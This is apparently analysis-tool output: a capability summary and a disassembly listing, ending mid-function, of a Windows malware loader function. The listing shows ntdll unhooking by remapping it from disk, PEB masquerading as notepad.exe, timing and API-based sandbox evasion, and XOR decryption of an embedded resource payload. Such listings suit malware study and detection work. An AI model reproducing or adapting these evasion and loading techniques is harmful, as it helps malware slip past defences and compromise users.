Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x438
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x3a0], xmm6
mov dword [rbp + 0x3d0], ecx
mov qword [rbp + 0x3d8], rdx
call fcn.140002ba0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x338], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x330], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x328], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x398], rax
cmp qword [rbp + 0x398], 0
jne 0x14000163e
mov ecx, 0x1bd8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x320], rax
mov dword [rbp + 0x394], 0
jmp 0x140001561
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x394]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x320]
add rax, rdx
movsd xmm1, qword [0x140006160]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x394], 1
cmp dword [rbp + 0x394], 0x37a
jle 0x140001523
mov dword [rbp + 0x394], 0
jmp 0x1400015fe
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x394]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x320]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x394]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x320]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003e80
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x394], 1
cmp dword [rbp + 0x394], 0x37a
jle 0x14000157c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x398], rax
cmp qword [rbp + 0x398], 0
je 0x140001b8a
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x170]
mov rax, qword [rbp + 0x328]
mov r10, qword [rbp + 0x398]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x170]
mov qword [rbp + 0x318], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x310], rax
mov rax, qword [rbp + 0x310]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x308], rax
mov rax, qword [rbp + 0x308]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x300], rax
mov ecx, 0x1ec8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f8], rax
mov ecx, 0x1ec8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f0], rax
mov dword [rbp + 0x390], 0
jmp 0x1400017f9
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x390]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2f8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x390], 1
cmp dword [rbp + 0x390], 0x3d8
jle 0x14000176f
mov dword [rbp + 0x390], 0
jmp 0x140001867
mov eax, dword [rbp + 0x390]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2f8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x390]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2f0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003cd0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x390], 1
cmp dword [rbp + 0x390], 0x3d8
jle 0x140001815
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x2e8], rax
mov rax, qword [rbp + 0x2e8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x318]
add rax, rdx
mov qword [rbp + 0x2e0], rax
mov word [rbp + 0x38e], 0
jmp 0x140001b72
mov rax, qword [rbp + 0x2e0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2e0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x38e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2d8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b61
mov dword [rbp + 0x138], 0
mov rax, qword [rbp + 0x2d8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x2d8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x318]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x138]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x2d8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x300]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2d8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x318]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp + 0x388], 0
mov dword [rbp + 0x384], 0
mov ecx, 0x2c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2d0], rax
mov dword [rbp + 0x380], 0
jmp 0x140001a32
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x380]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x380]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2d0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x388], eax
add dword [rbp + 0x380], 1
cmp dword [rbp + 0x380], 0xb0
jle 0x1400019c4
mov dword [rbp + 0x380], 0
jmp 0x140001aba
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x384]
mov eax, dword [rbp + 0x380]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2d0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x2c4]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006168]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004020
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x384], eax
add dword [rbp + 0x380], 1
cmp dword [rbp + 0x380], 0xb0
jle 0x140001a4a
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x384]
movss xmm1, dword [0x140006170]
divss xmm0, xmm1
movss dword [rbp + 0x2cc], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x2cc]
movq rax, xmm3
movq xmm0, rax
call fcn.140003b90
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x2c8], xmm0
mov rax, qword [rbp + 0x2d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov edx, dword [rbp + 0x138]
mov rax, qword [rbp + 0x2d8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x2d8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x318]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x138]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x38e]
add eax, 1
mov word [rbp + 0x38e], ax
mov rax, qword [rbp + 0x2e0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x38e], ax
jb 0x1400018ad
mov dword [rbp + 0x37c], 0xffffffff
mov ecx, 0x1820
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2b8], rax
add dword [rbp + 0x37c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x37c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2b8]
add rax, rdx
movsd xmm1, qword [0x140006160]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x37c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x37c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2b8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x37c], 0x302
jle 0x140001ba5
mov dword [rbp + 0x13c], 0
mov rax, qword [rbp + 0x338]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x140]
lea rax, [rbp + 0x13c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x2b0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x148]
add rax, 0x3c
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov dword [rbp + 0x378], 0x384
mov dword [rbp + 0x374], 0x2f8
jmp 0x140001cf7
mov eax, dword [rbp + 0x378]
cmp eax, dword [rbp + 0x374]
jle 0x140001cf0
sub dword [rbp + 0x378], 1
jmp 0x140001cf7
sub dword [rbp + 0x374], 1
cmp dword [rbp + 0x378], 0
jg 0x140001cd9
mov rax, qword [rbp + 0x2a8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
call rax
mov dword [rbp + 0x29c], eax
mov ecx, 0x3cc
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x2a0]
call rax
mov dword [rbp + 0x298], eax
mov eax, dword [rbp + 0x298]
sub eax, dword [rbp + 0x29c]
cmp eax, 0x39a
jbe 0x140002acd
mov ecx, 0x3f2
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x3f2
jne 0x140002acd
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x290], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x288], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x288]
mov r9d, 0x3000
mov r8d, 0x398
mov edx, 0
call rax
mov qword [rbp + 0x290], rax
cmp qword [rbp + 0x290], 0
je 0x140002acd
mov qword [rbp + 0x280], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x278], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x278]
mov r9d, 0x3000
mov r8d, 0x393
mov edx, 0
call rax
mov qword [rbp + 0x280], rax
cmp qword [rbp + 0x280], 0
je 0x140002acd
lea rax, str.irdgigsqzvplgqkq.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x270], rax
cmp qword [rbp + 0x270], 0
jne 0x140002acd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x268]
call rax
mov dword [rbp + 0x264], eax
mov ecx, 0x28f
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x268]
call rax
mov dword [rbp + 0x260], eax
mov eax, dword [rbp + 0x260]
sub eax, dword [rbp + 0x264]
cmp eax, 0x25d
jbe 0x140002acd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x258]
call rax
mov dword [rbp + 0x254], eax
mov ecx, 0x2a2
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x258]
call rax
mov dword [rbp + 0x250], eax
mov eax, dword [rbp + 0x250]
sub eax, dword [rbp + 0x254]
cmp eax, 0x270
jbe 0x140002acd
mov ecx, 0x6ce
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x6ce
jne 0x140002acd
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x24c], 0x3e2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x240], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
call rax
mov dword [rbp + 0x234], eax
mov eax, dword [rbp + 0x24c]
mov r8, qword [rbp + 0x240]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x238]
call rax
mov dword [rbp + 0x230], eax
mov eax, dword [rbp + 0x230]
sub eax, dword [rbp + 0x234]
cmp eax, 0x3b0
jbe 0x140002acd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x228], rax
cmp qword [rbp + 0x228], 0
je 0x140002118
mov rax, qword [rbp + 0x228]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x220]
mov ecx, 0
call rax
mov dword [rbp + 0x370], eax
cmp dword [rbp + 0x370], 0xffffffff
je 0x140002acd
mov rax, qword [rbp + 0x330]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x218], rax
lea rax, str.JMNWMIB
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x218]
lea r8, str.JMNWMIB
mov ecx, 0
call rax
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x330]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x210]
mov r8, qword [rbp + 0x208]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x330]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x330]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f0], rax
mov rax, qword [rbp + 0x330]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x210]
mov r8, qword [rbp + 0x1f8]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x1f0]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x210]
mov r8, qword [rbp + 0x1f8]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x1e0]
mov r9, qword [rbp + 0x1e8]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x338]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d0], rax
mov dword [rbp + 0x36c], 0xffffffff
mov ecx, 0x1e68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1c8], rax
add dword [rbp + 0x36c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006160]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x36c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1c8]
add rax, rdx
movsd xmm1, qword [0x140006178]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x36c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1c8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x36c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1c8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x36c], 0x3cb
jle 0x1400022c5
mov rax, qword [rbp + 0x210]
mov r8, qword [rbp + 0x1f8]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x200]
mov rax, qword [rbp + 0x1d8]
mov r9, qword [rbp + 0x1d0]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x364], 0
mov dword [rbp + 0x360], 0
movabs rax, 0x67142cc4f13b963e
movabs rdx, 0x8b91e1361121ce7c
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x22c4c44bde0d62af
movabs rdx, 0x8173c3b817beb12f
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xf631e298227ec6df
movabs rdx, 0x3355e08177be3d86
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0xea413a0475863af2
movabs rdx, 0x2b42e69c9ebff5aa
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xac29e3cf2a7503a9
movabs rdx, 0xd22c465b58989884
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x11242cf8e7e57042
movabs rdx, 0xd098a71f08241f0a
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0x2012ae51178a9bce
movabs rdx, 0xc00bbd4cdb7fbe11
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0x529935cfc00bbd
mov qword [rbp + 0x12d], rax
movabs rax, 0xcc0a519433abf61f
movabs rdx, 0xd6169a88f0b4c587
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xa03516b97924df58
movabs rdx, 0xe19ffa1d0eee6b85
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x1f1c9ab529df37cb
movabs rdx, 0x1846ea3485178863
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x87e805c4a3e27f7f
movabs rdx, 0xa5380287bb1f25ec
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xd35c004a318b6f50
movabs rdx, 0x1a88d42d6b7a4fec
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xc83b4e70ea595f72
movabs rdx, 0x374e867d85c168f2
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xd024610c60ab04e7
movabs rdx, 0xe2b29372687e0fe0
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov byte [rbp + 0x30], 0
mov dword [rbp + 0x358], 1
jmp 0x14000263f
mov dword [rbp + 0x35c], 0
mov eax, dword [rbp + 0x358]
mov dword [rbp + 0x354], eax
jmp 0x140002615
mov edx, dword [rbp + 0x354]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x188], edx
mov eax, dword [rbp + 0x188]
imul eax, eax
imul eax, dword [rbp + 0x188]
add dword [rbp + 0x35c], eax
mov eax, dword [rbp + 0x354]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x354], eax
cmp dword [rbp + 0x354], 0
jne 0x1400025aa
mov eax, dword [rbp + 0x35c]
cmp eax, dword [rbp + 0x358]
jne 0x140002638
mov eax, dword [rbp + 0x358]
mov dword [rbp + 0x18c], eax
add dword [rbp + 0x358], 1
cmp dword [rbp + 0x358], 0x268
jle 0x140002592
mov dword [rbp + 0x368], 0
jmp 0x1400026d4
cmp dword [rbp + 0x364], 0x6f
jne 0x14000269b
mov eax, dword [rbp + 0x368]
cdqe
movzx edx, byte [rbp + rax + 0xc0]
mov eax, dword [rbp + 0x364]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x368]
cdqe
mov byte [rbp + rax + 0x40], dl
mov dword [rbp + 0x364], 0
jmp 0x1400026cd
mov eax, dword [rbp + 0x368]
cdqe
movzx edx, byte [rbp + rax + 0xc0]
mov eax, dword [rbp + 0x364]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x368]
cdqe
mov byte [rbp + rax + 0x40], dl
add dword [rbp + 0x364], 1
add dword [rbp + 0x368], 1
mov eax, dword [rbp + 0x368]
cmp eax, 0x73
jbe 0x14000265b
mov dword [rbp + 0x368], 0
jmp 0x140002992
mov ecx, 0xdf8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x198], rax
mov dword [rbp + 0x34c], 0
mov dword [rbp + 0x348], 0
mov dword [rbp + 0x350], 0
jmp 0x1400027c9
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x350]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x198]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x350]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x198]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002798
add dword [rbp + 0x34c], 1
jmp 0x1400027c2
mov eax, dword [rbp + 0x350]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x198]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400027c2
add dword [rbp + 0x348], 1
add dword [rbp + 0x350], 1
cmp dword [rbp + 0x350], 0x37d
jle 0x140002726
mov rax, qword [rbp + 0x198]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x360], 0x73
jne 0x14000283e
mov eax, dword [rbp + 0x368]
movsxd rdx, eax
mov rax, qword [rbp + 0x1d8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x360]
cdqe
movzx ecx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x368]
movsxd rdx, eax
mov rax, qword [rbp + 0x1d8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x360], 0
jmp 0x14000298b
mov eax, dword [rbp + 0x368]
movsxd rdx, eax
mov rax, qword [rbp + 0x1d8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x360]
cdqe
movzx ecx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x368]
movsxd rdx, eax
mov rax, qword [rbp + 0x1d8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x360], 1
mov ecx, 0x828
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x190], rax
mov dword [rbp + 0x344], 0
jmp 0x1400028de
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x344]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x190]
add rax, rdx
movsd xmm1, qword [0x140006160]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x344], 1
cmp dword [rbp + 0x344], 0x104
jle 0x1400028a0
mov dword [rbp + 0x344], 0
jmp 0x14000297b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x344]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x190]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x344]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x190]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
